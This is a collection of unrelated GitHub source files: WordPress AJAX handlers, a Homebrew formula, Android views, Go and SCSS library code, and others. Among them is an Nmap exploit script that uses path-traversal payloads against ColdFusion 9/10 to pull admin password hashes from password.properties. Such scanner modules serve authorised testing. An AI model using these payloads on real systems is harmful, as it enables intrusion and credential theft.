if ( ! current_user_can( 'edit_post', $attachment_id ) )
continue;
if ( ! $attachment = get_post( $attachment_id ) )
continue;
if ( 'attachment' != $attachment->post_type )
continue;
wp_update_post( array( 'ID' => $attachment_id, 'menu_order' => $menu_order ) );
}
wp_send_json_success();
}
/**
* Generates the HTML to send an attachment to the editor.
* Backwards compatible with the media_send_to_editor filter and the chain
* of filters that follow.
*
* @since 3.5.0
*/
function wp_ajax_send_attachment_to_editor() {
check_ajax_referer( 'media-send-to-editor', 'nonce' );
$attachment = wp_unslash( $_POST['attachment'] );
$id = intval( $attachment['id'] );
if ( ! $post = get_post( $id ) )
wp_send_json_error();
if ( 'attachment' != $post->post_type )
wp_send_json_error();
if ( current_user_can( 'edit_post', $id ) ) {
// If this attachment is unattached, attach it. Primarily a back compat thing.
if ( 0 == $post->post_parent && $insert_into_post_id = intval( $_POST['post_id'] ) ) {
wp_update_post( array( 'ID' => $id, 'post_parent' => $insert_into_post_id ) );
}
}
$rel = $url = '';
$html = $title = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';
if ( ! empty( $attachment['url'] ) ) {
$url = $attachment['url'];
if ( strpos( $url, 'attachment_id') || get_attachment_link( $id ) == $url )
$rel = ' rel="attachment wp-att-' . $id . '"';
$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
}
remove_filter( 'media_send_to_editor', 'image_media_send_to_editor' );
if ( 'image' === substr( $post->post_mime_type, 0, 5 ) ) {
$align = isset( $attachment['align'] ) ? $attachment['align'] : 'none';
$size = isset( $attachment['image-size'] ) ? $attachment['image-size'] : 'medium';
$alt = isset( $attachment['image_alt'] ) ? $attachment['image_alt'] : '';
$caption = isset( $attachment['post_excerpt'] ) ? $attachment['post_excerpt'] : '';
$title = ''; // We no longer insert title tags into <img> tags, as they are redundant.
$html = get_image_send_to_editor( $id, $caption, $title, $align, $url, (bool) $rel, $size, $alt );
} elseif ( 'video' === substr( $post->post_mime_type, 0, 5 ) || 'audio' === substr( $post->post_mime_type, 0, 5 ) ) {
$html = stripslashes_deep( $_POST['html'] );
}
/** This filter is documented in wp-admin/includes/media.php */
$html = apply_filters( 'media_send_to_editor', $html, $id, $attachment );
wp_send_json_success( $html );
}
/**
* Generates the HTML to send a non-image embed link to the editor.
*
* Backwards compatible with the following filters:
* - file_send_to_editor_url
* - audio_send_to_editor_url
* - video_send_to_editor_url
*
* @since 3.5.0
*/
function wp_ajax_send_link_to_editor() {
check_ajax_referer( 'media-send-to-editor', 'nonce' );
if ( ! $src = wp_unslash( $_POST['src'] ) )
wp_send_json_error();
if ( ! strpos( $src, '://' ) )
$src = 'http://' . $src;
if ( ! $src = esc_url_raw( $src ) )
wp_send_json_error();
if ( ! $title = trim( wp_unslash( $_POST['title'] ) ) )
$title = wp_basename( $src );
$html = '';
if ( $title )
$html = '<a href="' . esc_url( $src ) . '">' . $title . '</a>';
// Figure out what filter to run:
$type = 'file';
if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) )
&& ( 'audio' == $ext_type || 'video' == $ext_type ) )
$type = $ext_type;
/** This filter is documented in wp-admin/includes/media.php */
$html = apply_filters( $type . '_send_to_editor_url', $html, $src, $title );
wp_send_json_success( $html );
}
/**
* Heartbeat API (experimental)
*
* Runs when the user is logged in.
*/
function wp_ajax_heartbeat() {
if ( empty( $_POST['_nonce'] ) )
wp_send_json_error();
$response = array();
if ( false === wp_verify_nonce( $_POST['_nonce'], 'heartbeat-nonce' ) ) {
// User is logged in but nonces have expired.
$response['nonces_expired'] = true;
wp_send_json($response);
}
// screen_id is the same as $current_screen->id and the JS global 'pagenow'
if ( ! empty($_POST['screen_id']) )
$screen_id = sanitize_key($_POST['screen_id']);
else
$screen_id = 'front';
if ( ! empty($_POST['data']) ) {
$data = wp_unslash( (array) $_POST['data'] );
/**
* Filter the Heartbeat response received.
*
* @since 3.6.0
*
* @param array|object $response The Heartbeat response object or array.
* @param array $data The $_POST data sent.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_received', $response, $data, $screen_id );
}
/**
* Filter the Heartbeat response sent.
*
* @since 3.6.0
*
* @param array|object $response The Heartbeat response object or array.
* @param string $screen_id The screen id.
*/
$response = apply_filters( 'heartbeat_send', $response, $screen_id );
/**
* Fires when Heartbeat ticks in logged-in environments.
*
* Allows the transport to be easily replaced with long-polling.
*
* @since 3.6.0
*
* @param array|object $response The Heartbeat response object or array.
* @param string $screen_id The screen id.
*/
do_action( 'heartbeat_tick', $response, $screen_id );
// Send the current time according to the server
$response['server_time'] = time();
wp_send_json($response);
}
function wp_ajax_get_revision_diffs() {
require ABSPATH . 'wp-admin/includes/revision.php';
if ( ! $post = get_post( (int) $_REQUEST['post_id'] ) )
wp_send_json_error();
if ( ! current_user_can( 'read_post', $post->ID ) )
wp_send_json_error();
// Really just pre-loading the cache here.
if ( ! $revisions = wp_get_post_revisions( $post->ID, array( 'check_enabled' => false ) ) )
wp_send_json_error();
$return = array();
@set_time_limit( 0 );
foreach ( $_REQUEST['compare'] as $compare_key ) {
list( $compare_from, $compare_to ) = explode( ':', $compare_key ); // from:to
$return[] = array(
'id' => $compare_key,
'fields' => wp_get_revision_ui_diff( $post, $compare_from, $compare_to ),
);
}
wp_send_json_success( $return );
}
/**
* Auto-save the selected color scheme for a user's own profile.
*
* @since 3.8.0
*/
function wp_ajax_save_user_color_scheme() {
global $_wp_admin_css_colors;
check_ajax_referer( 'save-color-scheme', 'nonce' );
$color_scheme = sanitize_key( $_POST['color_scheme'] );
if ( ! isset( $_wp_admin_css_colors[ $color_scheme ] ) ) {
wp_send_json_error();
}
update_user_meta( get_current_user_id(), 'admin_color', $color_scheme );
wp_send_json_success();
}
/**
* Get themes from themes_api().
*
* @since 3.9.0
*/
function wp_ajax_query_themes() {
global $themes_allowedtags, $theme_field_defaults;
if ( ! current_user_can( 'install_themes' ) ) {
wp_send_json_error();
}
$args = wp_parse_args( wp_unslash( $_REQUEST['request'] ), array(
'per_page' => 20,
'fields' => $theme_field_defaults
) );
$old_filter = isset( $args['browse'] ) ? $args['browse'] : 'search';
/** This filter is documented in wp-admin/includes/class-wp-theme-install-list-table.php */
$args = apply_filters( 'install_themes_table_api_args_' . $old_filter, $args );
$api = themes_api( 'query_themes', $args );
if ( is_wp_error( $api ) ) {
wp_send_json_error();
}
$update_php = network_admin_url( 'update.php?action=install-theme' );
foreach ( $api->themes as &$theme ) {
$theme->install_url = add_query_arg( array(
'theme' => $theme->slug,
'_wpnonce' => wp_create_nonce( 'install-theme_' . $theme->slug )
), $update_php );
$theme->name = wp_kses( $theme->name, $themes_allowedtags );
$theme->author = wp_kses( $theme->author, $themes_allowedtags );
$theme->version = wp_kses( $theme->version, $themes_allowedtags );
$theme->description = wp_kses( $theme->description, $themes_allowedtags );
$theme->num_ratings = sprintf( _n( '(based on %s rating)', '(based on %s ratings)', $theme->num_ratings ), number_format_i18n( $theme->num_ratings ) );
}
wp_send_json_success( $api );
}
|
{
"pile_set_name": "Github"
}
|
class Libgig < Formula
desc "Library for Gigasampler and DLS (Downloadable Sounds) Level 1/2 files"
homepage "https://www.linuxsampler.org/libgig/"
url "https://download.linuxsampler.org/packages/libgig-4.2.0.tar.bz2"
sha256 "16229a46138b101eb9eda042c66d2cd652b1b3c9925a7d9577d52f2282f745ff"
license "GPL-2.0"
livecheck do
url "https://download.linuxsampler.org/packages/"
regex(/href=.*?libgig[._-]v?(\d+(?:\.\d+)+)\.t/i)
end
bottle do
cellar :any
sha256 "538a70194a691a8a8bd09095736f6aba4c6de6ed4f03bed512726372e41bd7a4" => :catalina
sha256 "5b4c6358356d805ce317ed31014a8235fc79bad43a80b6c03deb63abe8bc1aac" => :mojave
sha256 "050bb14b4914d0c08e2a8c192b5254ecb77f9239b8f516022260f5356a8ab947" => :high_sierra
sha256 "6e7d4ee68ce41305b89c91b2c7e34eeb57f45c6ea5d991beb0e66aac76a5d458" => :sierra
end
depends_on "pkg-config" => :build
depends_on "libsndfile"
def install
system "./configure", "--disable-dependency-tracking",
"--disable-silent-rules",
"--prefix=#{prefix}"
system "make", "install"
end
test do
(testpath/"test.cpp").write <<~EOS
#include <libgig/gig.h>
#include <iostream>
using namespace std;
int main()
{
cout << gig::libraryName() << endl;
return 0;
}
EOS
system ENV.cxx, "test.cpp", "-L#{lib}/libgig", "-lgig", "-o", "test"
assert_match "libgig", shell_output("./test")
end
end
|
{
"pile_set_name": "Github"
}
|
// Copyright 2009 the Sputnik authors. All rights reserved.
/**
* Check {} for automatic semicolon insertion
*
* @path ch07/7.9/S7.9_A10_T4.js
* @description Checking if execution of "({};)*1" fails
* @negative
*/
//CHECK#1
({};) * 1
|
{
"pile_set_name": "Github"
}
|
package com.odai.architecturedemo.cats.view
import android.content.Context
import android.graphics.Rect
import android.support.v7.widget.LinearLayoutManager
import android.support.v7.widget.RecyclerView
import android.util.AttributeSet
import android.view.LayoutInflater
import android.view.View
import com.odai.architecturedemo.R
import com.odai.architecturedemo.cats.model.Cats
import com.odai.architecturedemo.cats.CatsPresenter
import com.odai.architecturedemo.favourite.model.FavouriteCats
class AndroidCatsView(context: Context, attrs: AttributeSet): CatsView, RecyclerView(context, attrs) {
override fun onFinishInflate() {
super.onFinishInflate()
layoutManager = LinearLayoutManager(context)
addItemDecoration(object : RecyclerView.ItemDecoration() {
override fun getItemOffsets(outRect: Rect, view: View, parent: RecyclerView, state: RecyclerView.State) {
outRect.top = resources.getDimensionPixelSize(R.dimen.activity_vertical_margin)
outRect.bottom = resources.getDimensionPixelSize(R.dimen.activity_vertical_margin)
}
})
}
override fun attach(listener: CatsPresenter.CatClickedListener) {
adapter = CatsAdapter(LayoutInflater.from(context), listener, Cats(emptyList()), FavouriteCats(mapOf()))
}
override fun display(cats: Cats) {
var catAdapter = adapter as CatsAdapter
catAdapter.cats = cats
catAdapter.notifyDataSetChanged()
}
override fun display(favouriteCats: FavouriteCats) {
var catAdapter = adapter as CatsAdapter
catAdapter.favouriteCats = favouriteCats
catAdapter.notifyDataSetChanged()
}
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env node
// This script lets us call programs as a local user rather than root.
// Usage: ./runner.js [user_name] [command] [arg1] [arg2] [arg3]
var cp = require('child_process')
exec = cp.exec,
spawn = cp.spawn,
args = process.argv,
sudo_bin = '/usr/bin/sudo';
args.shift() && args.shift();
var run_as = args.shift(),
command = args.shift();
if (!run_as || !command) {
console.log('Usage: runner.js [user_name] [command] <args>');
process.exit(1);
}
// console.log('Current uid: ' + process.getuid());
var run_command = function(command, args){
// console.log("Running " + command + " with uid " + process.getuid());
var opts = { env: process.env }
if (process.platform == 'linux' && !opts.env.DISPLAY)
opts.env.DISPLAY = ':0'; // so it uses active display
var child = spawn(command, args, opts);
child.stdout.pipe(process.stdout);
child.stderr.pipe(process.stderr);
child.on('exit', function(code){
setTimeout(function(){
process.exit(code);
}, 10)
})
process.on('SIGTERM', function(){
child.kill('SIGTERM');
})
process.on('SIGINT', function(){
child.kill('SIGINT');
})
}
var safe_escape = function(str) {
return str.replace(/[\"\`\$\|]/g, "\\$&");
}
try {
process.setuid(run_as);
// console.log('New uid: ' + process.getuid());
} catch (err) {
if (process.platform != 'win32') {
args = args.map(function(a){ return safe_escape(a); })
command = ['"' + command].concat(args).join('" "') + '"';
args = ['-n', 'su', run_as, '-c', command];
command = sudo_bin;
}
}
run_command(command, args);
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env python
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import setuptools
setuptools.setup(
setup_requires=['pbr'],
pbr=True)
|
{
"pile_set_name": "Github"
}
|
description = [[
Attempts to retrieve the version, installation path and password.properties files in vulnerable ColdFusion 9/10 installations.
This was based on the exploit 'ColdSub-Zero.pyFusion v2'.
]]
---
-- @usage nmap -sV --script http-coldfusion-subzero <target>
-- @usage nmap -p80 --script http-coldfusion-subzero --script-args basepath=/cf/ <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-coldfusion-subzero:
-- | absolute_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
-- | version: 9
-- | password_properties: #Fri Mar 02 17:03:01 CST 2012
-- | rdspassword=
-- | password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
-- |_encrypted=true
--
-- @xmloutput
-- <script id="http-coldfusion-subzero" output="
 installation_path: C:\inetpub\wwwroot\CFIDE\adminapi\customtags
 version: 9
 password_properties: #Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
"><elem key="installation_path">C:\inetpub\wwwroot\CFIDE\adminapi\customtags</elem>
-- <elem key="version">9</elem>
-- <elem key="password_properties">#Fri Mar 02 17:03:01 CST 2012
rdspassword=
password=AA251FD567358F16B7DE3F3B22DE8193A7517CD0
encrypted=true
</elem>
-- </script>
-- @args http-coldfusion-subzero.basepath Base path. Default: /.
--
---
author = "Paulino Calderon <calderon@websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit"}
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local url = require "url"
portrule = shortport.http
local PATH_PAYLOAD = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local IMG_PAYLOAD = "CFIDE/administrator/images/loginbackground.jpg"
local LFI_PAYLOAD_FRAG_1 = "CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename="
local LFI_PAYLOAD_FRAG_2 = "&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp"
local CREDENTIALS_PAYLOADS = {"../../lib/password.properties",
'..\\..\\lib\\password.properties',
'..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\lib\\password.properties',
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion10\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\lib\\password.properties",
"..\\..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion9\\cfusion\\lib\\password.properties",
"../../../../../../../../../opt/coldfusion10/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion/cfusion/lib/password.properties",
"../../../../../../../../../opt/coldfusion9/cfusion/lib/password.properties"}
---
-- Extracts absolute path of installation by reading the ANALIZER_DIRECTORY value from the header 'set-cookie'
--
local function get_installation_path(host, port, basepath)
local req = http.get(host, port, basepath..PATH_PAYLOAD)
if req.header['set-cookie'] then
stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME)
local _, _, path = string.find(req.header['set-cookie'], "path=/, ANALYZER_DIRECTORY=(.-);path=/")
if path then
stdnse.print_debug(1, "%s: Extracted path:%s", SCRIPT_NAME, path)
return path
end
end
return nil
end
---
-- Extracts version by comparing an image with known md5 checksums
--
local function get_version(host, port, basepath)
local version = -1
local img_req = http.get(host, port, basepath..IMG_PAYLOAD)
if img_req.status == 200 then
local md5chk = stdnse.tohex(openssl.md5(img_req.body))
if md5chk == "a4c81b7a6289b2fc9b36848fa0cae83c" then
stdnse.print_debug(1, "%s:CF version 10 detected.", SCRIPT_NAME)
version = 10
elseif md5chk == "596b3fc4f1a0b818979db1cf94a82220" then
stdnse.print_debug(1, "%s:CF version 9 detected.", SCRIPT_NAME)
version = 9
elseif md5chk == "" then
stdnse.print_debug(1, "%s:CF version 8 detected.", SCRIPT_NAME)
version = 8
else
stdnse.print_debug(1, "%s:Could not determine version.", SCRIPT_NAME)
version = nil
end
end
return version
end
---
-- Sends malicious payloads to exploit a LFI vulnerability and extract the credentials
local function exploit(host, port, basepath)
for i, vector in ipairs(CREDENTIALS_PAYLOADS) do
local req = http.get(host, port, basepath..LFI_PAYLOAD_FRAG_1..vector..LFI_PAYLOAD_FRAG_2)
if string.find(req.body, "encrypted=true") then
stdnse.print_debug(1, "%s: String pattern found. Exploitation worked with vector '%s'.", SCRIPT_NAME, vector)
return true, req.body
end
end
end
action = function(host, port)
local output_tab = stdnse.output_table()
local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/"
local installation_path = get_installation_path(host, port, basepath)
if installation_path then
output_tab.installation_path = url.unescape(installation_path)
end
local version_num = get_version(host, port, basepath)
if version_num then
output_tab.version = version_num
end
local status, file = exploit(host, port, basepath)
if status then
output_tab.password_properties = file
end
return output_tab
end
|
{
"pile_set_name": "Github"
}
|
package com.pencilbox.netknight.view;
import android.widget.BaseAdapter;
/**
* Created by pencil-box on 16/6/29.
* 应用信息列表
*/
public interface IAppInfoView {
//初始化数据的回调
void onLoadAppInfoList(BaseAdapter adapter);
//添加,删除,修改后的,list回调,数据的更新在adapter里操作就可以
void onListRefresh(String msg);
/**
* 错误信息回调
* @param optionId
* @param msg
*/
void onOptionFailed(int optionId,String msg);
}
|
{
"pile_set_name": "Github"
}
|
/*
MIT License
Copyright (c) 2016-2017 Florian Cäsar, Michael Plainer
For full license see LICENSE in the root directory of this project.
*/
using Sigma.Core.Handlers;
using Sigma.Core.MathAbstract;
using System;
using Sigma.Core.Utils;
namespace Sigma.Core.Training.Initialisers
{
/// <summary>
/// An initialiser that can be used to initialise any ndarray with a certain pattern (e.g. Gaussian).
/// </summary>
public interface IInitialiser
{
/// <summary>
/// The registry containing relevant parameters and information about this initialiser.
/// </summary>
IRegistry Registry { get; }
/// <summary>
/// Initialise a certain ndarray.
/// </summary>
/// <param name="array">The ndarray to initialise.</param>
/// <param name="handler">The computation handler to use.</param>
/// <param name="random">The randomiser to use (if required).</param>
void Initialise(INDArray array, IComputationHandler handler, Random random);
/// <summary>
/// Initialise a single number.
/// </summary>
/// <param name="number">The number to initialise.</param>
/// <param name="handler">The computation handler to use.</param>
/// <param name="random">The randomise to use (if required).</param>
void Initialise(INumber number, IComputationHandler handler, Random random);
}
}
|
{
"pile_set_name": "Github"
}
|
RTSP/1.0 303 OK
CSeq: 0
Content-Type: text/parameters
Content-Length: 55
|
{
"pile_set_name": "Github"
}
|
import bisect
import datetime
import json
import random
import seaborn
import numpy
import pandas
import scipy
from matplotlib import pyplot
def parse_time(t):
h, m, s = map(int, t.split(':'))
return h*60*60 + m*60 + s
sched_trips = {}
for i, line in enumerate(open('stop_times.txt')):
line = line.strip().split(',')
if i > 0:
trip_id, arr, dep, stop_id = line[:4]
if 'WKD' not in trip_id:
continue
line = trip_id.split('_')[2].split('.')[0]
key = (stop_id, line)
arr = parse_time(arr)
sched_trips.setdefault(key, []).append(arr)
for key, stops in sched_trips.iteritems():
stops.sort()
real_trips = {}
for n_lines, line in enumerate(open('log.jsons')):
for vehicle in json.loads(line.strip()):
if vehicle.get('current_status') != 1: # STOPPED_AT
continue
try:
line = vehicle['trip']['route_id'].rstrip('X') # fold express into normal
if line not in ['1', '2', '3', '4', '5', '6', 'GS', 'L', 'SI']:
print 'weird line', line
continue
if 'stop_id' in vehicle:
stop_id = vehicle['stop_id']
else:
# L and SI stop at every station, need to use
stop_id = '%d%s' % (vehicle['current_stop_sequence'], vehicle['trip']['trip_id'][-1])
key = (stop_id, line)
timestamp = vehicle['timestamp']
t = datetime.datetime.utcfromtimestamp(vehicle['timestamp'])
if t.weekday() < 5:
real_trips.setdefault(key, set()).add(timestamp)
except:
print 'weird vehicle', vehicle
continue
if n_lines % 1000 == 0:
print n_lines, '...'
xs = []
ys = []
MAX = 1800
ys_by_x = [[] for x in xrange(MAX/60)]
print ys_by_x
max_time = 4 * 3600
for key, stops in real_trips.iteritems():
stop_id, line = key
stops = sorted(stops)
if len(stops) < 5:
print key, 'not enough stops'
continue # stupid
if key not in sched_trips:
print key, 'has no schedule'
continue
# Sample random points in time and tie
lo = stops[0]
hi = stops[-1]
for i in xrange(len(stops)): # pretty arbitrary number of samples
t = lo + random.random() * (hi - lo)
j = bisect.bisect(stops, t)
t0, t1 = stops[j-1], stops[j]
if t1 - t0 > max_time:
continue
real_wait_time = t1 - t
# transform t to day offset
u = (t + (19 * 60 * 60)) % (24 * 60 * 60)
j = bisect.bisect(sched_trips[key], u)
if j < len(sched_trips[key]):
u1 = sched_trips[key][j]
else:
u1 = 24 * 60 * 60 + sched_trips[key][0]
sched_wait_time = u1 - u
if max(sched_wait_time, real_wait_time) < MAX:
xs.append(sched_wait_time / 60.)
ys.append(real_wait_time / 60.)
if sched_wait_time < MAX:
ys_by_x[int(sched_wait_time / 60.0)].append(real_wait_time / 60.)
seaborn.jointplot(numpy.array(xs), numpy.array(ys), kind='hex')
pyplot.savefig('wait_time_real_vs_sched_joint.png')
pyplot.clf()
percs = [50, 60, 70, 80, 90]
results = [[] for p in percs]
for x, ys in enumerate(ys_by_x):
print x, len(ys)
ps = numpy.percentile(ys, percs)
for i, y in enumerate(ps):
results[i].append(y)
for i, ys in enumerate(results):
pyplot.plot(range(len(ys)), ys, label='%d percentile' % percs[i])
pyplot.ylim([0, 60])
pyplot.title('How long do you have to wait given how much schedule predicts')
pyplot.xlabel('Scheduled waiting time (min)')
pyplot.ylabel('Real waiting time (min)')
pyplot.legend()
pyplot.savefig('wait_time_real_vs_sched_percentiles.png')
|
{
"pile_set_name": "Github"
}
|
$title-color: $text-strong !default;
$title-family: false !default;
$title-size: $size-3 !default;
$title-weight: $weight-semibold !default;
$title-line-height: 1.125 !default;
$title-strong-color: inherit !default;
$title-strong-weight: inherit !default;
$title-sub-size: 0.75em !default;
$title-sup-size: 0.75em !default;
$subtitle-color: $text !default;
$subtitle-family: false !default;
$subtitle-size: $size-5 !default;
$subtitle-weight: $weight-normal !default;
$subtitle-line-height: 1.25 !default;
$subtitle-strong-color: $text-strong !default;
$subtitle-strong-weight: $weight-semibold !default;
$subtitle-negative-margin: -1.25rem !default;
.title,
.subtitle {
@extend %block;
word-break: break-word;
em,
span {
font-weight: inherit;
}
sub {
font-size: $title-sub-size;
}
sup {
font-size: $title-sup-size;
}
.tag {
vertical-align: middle;
}
}
.title {
color: $title-color;
@if $title-family {
font-family: $title-family;
}
font-size: $title-size;
font-weight: $title-weight;
line-height: $title-line-height;
strong {
color: $title-strong-color;
font-weight: $title-strong-weight;
}
& + .highlight {
margin-top: -0.75rem;
}
&:not(.is-spaced) + .subtitle {
margin-top: $subtitle-negative-margin;
}
// Sizes
@each $size in $sizes {
$i: index($sizes, $size);
&.is-#{$i} {
font-size: $size;
}
}
}
.subtitle {
color: $subtitle-color;
@if $subtitle-family {
font-family: $subtitle-family;
}
font-size: $subtitle-size;
font-weight: $subtitle-weight;
line-height: $subtitle-line-height;
strong {
color: $subtitle-strong-color;
font-weight: $subtitle-strong-weight;
}
&:not(.is-spaced) + .title {
margin-top: $subtitle-negative-margin;
}
// Sizes
@each $size in $sizes {
$i: index($sizes, $size);
&.is-#{$i} {
font-size: $size;
}
}
}
|
{
"pile_set_name": "Github"
}
|
package com.stardust.autojs.core.ui.inflater.inflaters;
import androidx.annotation.Nullable;
import android.view.View;
import android.view.ViewGroup;
import com.google.android.material.appbar.AppBarLayout;
import com.stardust.autojs.R;
import com.stardust.autojs.core.ui.inflater.ResourceParser;
import com.stardust.autojs.core.ui.inflater.ViewCreator;
import com.stardust.autojs.core.ui.inflater.util.Dimensions;
import java.util.Map;
public class AppBarInflater<V extends AppBarLayout> extends BaseViewInflater<V> {
public AppBarInflater(ResourceParser resourceParser) {
super(resourceParser);
}
@Override
public boolean setAttr(V view, String attr, String value, ViewGroup parent, Map<String, String> attrs) {
switch (attr) {
case "elevation":
view.setTargetElevation(Dimensions.parseToPixel(value, view));
break;
case "expanded":
view.setExpanded(Boolean.parseBoolean(value));
break;
default:
return super.setAttr(view, attr, value, parent, attrs);
}
return true;
}
@Nullable
@Override
@SuppressWarnings("unchecked")
public ViewCreator<? super V> getCreator() {
return (ViewCreator<V>) (context, attrs) -> (V) View.inflate(context, R.layout.js_appbar, null);
}
}
|
{
"pile_set_name": "Github"
}
|
/*
Copyright 2014 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Package labels implements a simple label system, parsing and matching
// selectors with sets of labels.
package labels // import "k8s.io/apimachinery/pkg/labels"
|
{
"pile_set_name": "Github"
}
|
// Copyright 2017 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package bigquery
import (
"encoding/base64"
"unicode/utf8"
bq "google.golang.org/api/bigquery/v2"
)
// DataFormat describes the format of BigQuery table data.
type DataFormat string
// Constants describing the format of BigQuery table data.
const (
CSV DataFormat = "CSV"
Avro DataFormat = "AVRO"
JSON DataFormat = "NEWLINE_DELIMITED_JSON"
DatastoreBackup DataFormat = "DATASTORE_BACKUP"
GoogleSheets DataFormat = "GOOGLE_SHEETS"
Bigtable DataFormat = "BIGTABLE"
Parquet DataFormat = "PARQUET"
ORC DataFormat = "ORC"
// For BQ ML Models, TensorFlow Saved Model format.
TFSavedModel DataFormat = "ML_TF_SAVED_MODEL"
// For BQ ML Models, xgBoost Booster format.
XGBoostBooster DataFormat = "ML_XGBOOST_BOOSTER"
)
// ExternalData is a table which is stored outside of BigQuery. It is implemented by
// *ExternalDataConfig.
// GCSReference also implements it, for backwards compatibility.
type ExternalData interface {
toBQ() bq.ExternalDataConfiguration
}
// ExternalDataConfig describes data external to BigQuery that can be used
// in queries and to create external tables.
type ExternalDataConfig struct {
// The format of the data. Required.
SourceFormat DataFormat
// The fully-qualified URIs that point to your
// data in Google Cloud. Required.
//
// For Google Cloud Storage URIs, each URI can contain one '*' wildcard character
// and it must come after the 'bucket' name. Size limits related to load jobs
// apply to external data sources.
//
// For Google Cloud Bigtable URIs, exactly one URI can be specified and it has be
// a fully specified and valid HTTPS URL for a Google Cloud Bigtable table.
//
// For Google Cloud Datastore backups, exactly one URI can be specified. Also,
// the '*' wildcard character is not allowed.
SourceURIs []string
// The schema of the data. Required for CSV and JSON; disallowed for the
// other formats.
Schema Schema
// Try to detect schema and format options automatically.
// Any option specified explicitly will be honored.
AutoDetect bool
// The compression type of the data.
Compression Compression
// IgnoreUnknownValues causes values not matching the schema to be
// tolerated. Unknown values are ignored. For CSV this ignores extra values
// at the end of a line. For JSON this ignores named values that do not
// match any column name. If this field is not set, records containing
// unknown values are treated as bad records. The MaxBadRecords field can
// be used to customize how bad records are handled.
IgnoreUnknownValues bool
// MaxBadRecords is the maximum number of bad records that will be ignored
// when reading data.
MaxBadRecords int64
// Additional options for CSV, GoogleSheets and Bigtable formats.
Options ExternalDataConfigOptions
}
func (e *ExternalDataConfig) toBQ() bq.ExternalDataConfiguration {
q := bq.ExternalDataConfiguration{
SourceFormat: string(e.SourceFormat),
SourceUris: e.SourceURIs,
Autodetect: e.AutoDetect,
Compression: string(e.Compression),
IgnoreUnknownValues: e.IgnoreUnknownValues,
MaxBadRecords: e.MaxBadRecords,
}
if e.Schema != nil {
q.Schema = e.Schema.toBQ()
}
if e.Options != nil {
e.Options.populateExternalDataConfig(&q)
}
return q
}
func bqToExternalDataConfig(q *bq.ExternalDataConfiguration) (*ExternalDataConfig, error) {
e := &ExternalDataConfig{
SourceFormat: DataFormat(q.SourceFormat),
SourceURIs: q.SourceUris,
AutoDetect: q.Autodetect,
Compression: Compression(q.Compression),
IgnoreUnknownValues: q.IgnoreUnknownValues,
MaxBadRecords: q.MaxBadRecords,
Schema: bqToSchema(q.Schema),
}
switch {
case q.CsvOptions != nil:
e.Options = bqToCSVOptions(q.CsvOptions)
case q.GoogleSheetsOptions != nil:
e.Options = bqToGoogleSheetsOptions(q.GoogleSheetsOptions)
case q.BigtableOptions != nil:
var err error
e.Options, err = bqToBigtableOptions(q.BigtableOptions)
if err != nil {
return nil, err
}
}
return e, nil
}
// ExternalDataConfigOptions are additional options for external data configurations.
// This interface is implemented by CSVOptions, GoogleSheetsOptions and BigtableOptions.
type ExternalDataConfigOptions interface {
populateExternalDataConfig(*bq.ExternalDataConfiguration)
}
// CSVOptions are additional options for CSV external data sources.
type CSVOptions struct {
// AllowJaggedRows causes missing trailing optional columns to be tolerated
// when reading CSV data. Missing values are treated as nulls.
AllowJaggedRows bool
// AllowQuotedNewlines sets whether quoted data sections containing
// newlines are allowed when reading CSV data.
AllowQuotedNewlines bool
// Encoding is the character encoding of data to be read.
Encoding Encoding
// FieldDelimiter is the separator for fields in a CSV file, used when
